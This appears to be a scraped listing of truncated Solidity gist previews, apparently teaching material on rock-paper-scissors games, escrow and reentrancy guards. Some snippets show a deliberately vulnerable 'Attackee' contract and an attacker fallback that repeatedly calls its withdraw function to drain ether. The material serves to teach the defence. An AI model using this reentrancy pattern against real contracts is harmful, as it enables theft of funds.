This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: GPL-3.0 | |
pragma solidity ^0.8.0; | |
import "../node_modules/@OpenZeppelin/contracts/utils/math/SafeMath.sol"; | |
import "../node_modules/@OpenZeppelin/contracts/security/ReentrancyGuard.sol"; | |
//for use in this blog post: https://medium.com/@websculpt/rock-paper-scissors-in-solidity-part-3-commit-reveal-4d56a84cbe97 | |
contract RPSv2 is ReentrancyGuard { | |
using SafeMath for uint; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: GPL-3.0 | |
pragma solidity ^0.8.0; | |
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.3/contracts/security/ReentrancyGuard.sol"; | |
//for testing/learning purposes only -- not production code | |
contract rpsv1 is ReentrancyGuard{ | |
mapping (address => uint) public playerBalances; | |
event Received(address, uint); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: GPL-3.0 | |
pragma solidity >=0.7.0 <0.9.0; | |
contract StringTesting { | |
function stringCompare(string calldata _inputOne, string calldata _inputTwo) external pure returns (bool r) { | |
bool rslt; | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: GPL-3.0 | |
pragma solidity >=0.7.0 <0.9.0; | |
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.3/contracts/security/ReentrancyGuard.sol"; | |
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.3/contracts/utils/escrow/Escrow.sol"; | |
contract EscrowExample is ReentrancyGuard { | |
Escrow private immutable _escrow; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: GPL-3.0 | |
pragma solidity >=0.7.0 <0.9.0; | |
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.3/contracts/security/ReentrancyGuard.sol"; | |
contract Attackee is ReentrancyGuard { | |
mapping(address => uint) public attackeeBalances; | |
function depositIntoAttackee() external payable { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: GPL-3.0 | |
pragma solidity >=0.7.0 <0.9.0; | |
contract ReentrancyGuard { | |
bool private guardLocked; | |
modifier noReentry() { | |
require(!guardLocked, "Prevented by noReentry in ReentrancyGuard"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: GPL-3.0 | |
pragma solidity >=0.7.0 <0.9.0; | |
contract ReentrancyGuard { | |
bool private guardLocked; | |
modifier noReentry() { | |
require(!guardLocked, "Prevented by noReentry in ReentrancyGuard"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: GPL-3.0 | |
pragma solidity >=0.7.0 <0.9.0; | |
contract Attackee { | |
mapping(address => uint) public attackeeBalances; | |
function depositIntoAttackee() external payable { | |
attackeeBalances[msg.sender] += msg.value; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: GPL-3.0 | |
pragma solidity >=0.7.0 <0.9.0; | |
contract Attackee { | |
mapping(address => uint) public attackeeBalances; | |
function depositIntoAttackee() external payable { | |
attackeeBalances[msg.sender] += msg.value; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//this is called when Attackee sends Ether to this contract (Attacker) | |
fallback() external payable { | |
if(address(contractToAttack).balance >= 1 ether) { | |
contractToAttack.withdrawFromAttackee(); | |
} | |
} | |
function performAttack() external payable { | |
require(msg.value >= 1 ether); | |
contractToAttack.depositIntoAttackee{value: 1 ether}(); |
NewerOlder